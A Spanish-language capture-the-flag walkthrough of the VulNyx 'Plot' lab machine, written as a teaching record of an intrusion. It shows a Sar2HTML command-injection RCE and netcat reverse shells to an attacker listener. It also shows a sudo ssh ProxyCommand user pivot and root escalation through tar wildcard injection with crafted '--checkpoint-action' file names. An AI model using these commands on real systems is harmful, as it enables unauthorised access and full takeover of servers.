VulNyx - Plot
- Sar2HTML - RCE
- Abuse SSH Binary
- Abusing Wildcards (tar command)
Escaneo de puertos
❯ nmap -p- -v -T5 -n 192.168.1.146
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Escaneo de servicios
❯ nmap -sVC -v -p 22,80 192.168.1.146
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 f0e624fb9eb07a1abdf7b185237fb16f (RSA)
| 256 99c87431451058b0cecc63b47a82573d (ECDSA)
|_ 256 60da3e3138fab549ab48c3432c9fd132 (ED25519)
80/tcp open http Apache httpd 2.4.56 ((Debian))
| http-methods:
|_ Supported Methods: GET POST OPTIONS HEAD
|_http-title: Apache2 Debian Default Page: It works
|_http-server-header: Apache/2.4.56 (Debian)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
HTTP-TCP 80
Lanzo curl y veo el dominio pl0t.nyx
en la cabecera.
❯ curl 192.168.1.146 -I
HTTP/1.1 200 OK
Date: Fri, 11 Aug 2023 10:07:53 GMT
Server: Apache/2.4.56 (Debian)
X-Custom-Header: pl0t.nyx
Añado el nuevo dominio al archivo /etc/hosts
.
192.168.1.146 pl0t.nyx
Con gobuster realizo un escaneo de subdominios y encuentra el subdominio sar.pl0t.nyx
.
❯ gobuster vhost -u pl0t.nyx -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt --append-domain
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://pl0t.nyx
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
[+] User Agent: gobuster/3.5
[+] Timeout: 10s
[+] Append Domain: true
===============================================================
2023/08/12 12:13:27 Starting gobuster in VHOST enumeration mode
===============================================================
Found: sar.pl0t.nyx Status: 200 [Size: 4812]
Añado el subdominio al archivo /etc/hosts
.
192.168.1.146 pl0t.nyx sar.pl0t.nyx
Visito el nuevo subdominio con el navegador.
Buscando información sobre sar2html Ver3.2.
he encontrado este RCE, después de leer la información del exploit hago una prueba para ver que tengo ejecución de comandos.
❯ curl -s "http://sar.pl0t.nyx/index.php?plot=;id" | grep "option value=" | html2text
[One of: Select Host/HPUX/Linux/SunOS/uid=33(www-data) gid=33(www-data)
groups=33(www-data)]
[One of: Select Host First]
[One of: Select Start Date First]
Para obtener la shell correctamente primero tengo que codificar el comando, para ello me voy a CyberChef y uso la opción URL Encode.
Una vez tengo el comando codificado lo lanzo con curl.
❯ curl -s "http://sar.pl0t.nyx/index.php?plot=;nc%20-c%20/bin/bash%20192.168.1.18%204444"
Obtengo la shell.
❯ nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.1.18] from (UNKNOWN) [192.168.1.146] 58732
script /dev/null -c bash
Script started, output log file is '/dev/null'.
www-data@plot:/var/www/vhost$
Enumero permisos de sudo.
www-data@plot:/var/www/vhost$ sudo -l
Matching Defaults entries for www-data on plot:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User www-data may run the following commands on plot:
(tony) NOPASSWD: /usr/bin/ssh
Uso el recurso GTFObins para pivotar de usuario.
www-data@plot:/var/www/vhost$ sudo -u tony ssh -o ProxyCommand=';bash 0<&2 1>&2' x
tony@plot:/var/www/vhost$ id
uid=1000(tony) gid=1000(tony) groups=1000(tony)
Con pspy veo una tarea cron que lanza tar para crear un comprimido en el directorio /var/www/html
con el nombre serve.tgz
. El comodín *
se usa para incluir todos los archivos y directorios en el directorio actual /var/www/html
. El segundo comando comprime el archivo index.html
en un archivo serve.tgz
en el directorio /var/backups
.
2023/08/12 13:41:01 CMD: UID=0 PID=607 | /usr/sbin/CRON -f
2023/08/12 13:41:01 CMD: UID=0 PID=608 | /bin/sh -c cd /var/www/html && tar -zcf /var/backups/serve.tgz *
2023/08/12 13:41:01 CMD: UID=0 PID=609 | tar -zcf /var/backups/serve.tgz index.html
2023/08/12 13:41:01 CMD: UID=0 PID=610 | /bin/sh -c gzip
Se puede obtener el root mediante la colocación de archivos maliciosos aprovechando el manejo de comodines de la siguiente forma:
tony@plot:/var/www/html$ touch -- "--checkpoint=1"
tony@plot:/var/www/html$ touch -- "--checkpoint-action=exec=sh script.sh"
El primer comando crea un archivo con el nombre
--checkpoint=1
, activando un modo especial de tar que simula la creación de un archivo de respaldo. El segundo comando crea un archivo llamado--checkpoint-action=exec=sh script.sh
, lo que hace que tar ejecutescript.sh
como el usuario root.
Ahora creo el archivo script.sh
, le doy permisos de ejecución y le añado lo siguiente:
#!/bin/bash
nc -c /bin/bash 192.168.1.18 1337
En unos segundos obtengo el root.
❯ nc -lvnp 1337
listening on [any] 1337 ...
connect to [192.168.1.18] from (UNKNOWN) [192.168.1.146] 37324
script /dev/null -c bash
Script iniciado, el fichero de anotación de salida es '/dev/null'.
root@plot:/var/www/html# cd
cd
root@plot:~# id
id
uid=0(root) gid=0(root) grupos=0(root)
root@plot:~#
Y con esto ya tenemos resuelta la máquina Plot.
Saludos!